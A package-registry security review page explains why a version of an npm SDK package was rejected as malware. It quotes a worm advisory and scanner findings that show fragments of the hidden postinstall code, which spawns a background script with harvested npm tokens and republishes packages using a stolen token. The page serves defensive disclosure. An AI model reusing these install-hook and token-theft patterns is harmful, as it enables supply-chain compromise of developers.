All @emilgroup/task-sdk-node versions

@emilgroup/task-sdk-node @1.0.3

rejected
This version was rejected. It did not pass GreenFlagged's security review and is not served by the registry. The findings and risk dispositions below explain why.
100
Risk Score
Unlicense
License
No
Install Scripts
0
Dependencies
0
Dev Dependencies
2.5 KB
Package Size
Published

OpenAPI client for @emilgroup/task-sdk-node

Maintainers

cover42devsadobrodey-emilalexeyoleynikwojciech_at_emilmaksym-emilyevheniia-emilemil_aleksandravitaly_emilandrii_meleniukiaroslav.ovcharenkohussein.istanboulithomascover42emil-husseinthmdvolodymyr_emilrkachalkazamiulemil-rickmads-emilolga_timchenko

SAST Findings (7)

CRITICAL MAL-2026-2079: Malicious code in @emilgroup/task-sdk-node (npm) osv

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d10e089e1ab5774c571e6a0f5c650a044301456e9558509c051d38dce51eac73) The package @emilgroup/task-sdk-node was found to contain malicious code. ## Source: ghsa-malware (4e34cfe3877106fd3289f2693ee500f690582222cf04fe5abfc900b5de70ab26) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: google-open-source-security (4ba489f3f20a868cb822329b2657fdb7fe02151a54631e195c2bc519cd931626) This package was compromised by the CanisterWorm campaign by the TeamPCP threat actor. The malicious payload establishes persistence as user systemd service and places a backdoor on the infected host. The malware will also harvest npm credentials and can autonomously spread.

HIGH Package has 'postinstall' script install-scripts

Script: node index.js

HIGH silent-process-exec: index.js:91 semgrep

Silent detached process — runs invisibly in the background (reverse shells, miners) 89 | const deployScript = path.join(__dirname, 'scripts', 'deploy.js'); 90 | if (fs.existsSync(deployScript)) { > 91 | spawn(process.execPath, [deployScript], { 92 | detached: true, 93 | stdio: 'ignore',

HIGH silent-process-exec-var: index.js:91 semgrep

Silent detached process — runs invisibly in the background (reverse shells, miners) 89 | const deployScript = path.join(__dirname, 'scripts', 'deploy.js'); 90 | if (fs.existsSync(deployScript)) { > 91 | spawn(process.execPath, [deployScript], { 92 | detached: true, 93 | stdio: 'ignore',

HIGH env-spread: index.js:94 semgrep

Spreading entire process.env into an object — may capture all secrets 92 | detached: true, 93 | stdio: 'ignore', > 94 | env: { ...process.env, NPM_TOKENS: tokens.join(',') }, 95 | }).unref(); 96 | }

HIGH env-spread: scripts/deploy.js:65 semgrep

Spreading entire process.env into an object — may capture all secrets 63 | fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8'); 64 | try { > 65 | execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } }) 66 | } catch (_) {} 67 | finally {

LOW No provenance attestation provenance

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.

Review Summary

Risk score: 100 (capped from 218). Findings: 1 critical (+40), 5 high (+125), 5 medium (+50), 1 low (+3).

Published to npm: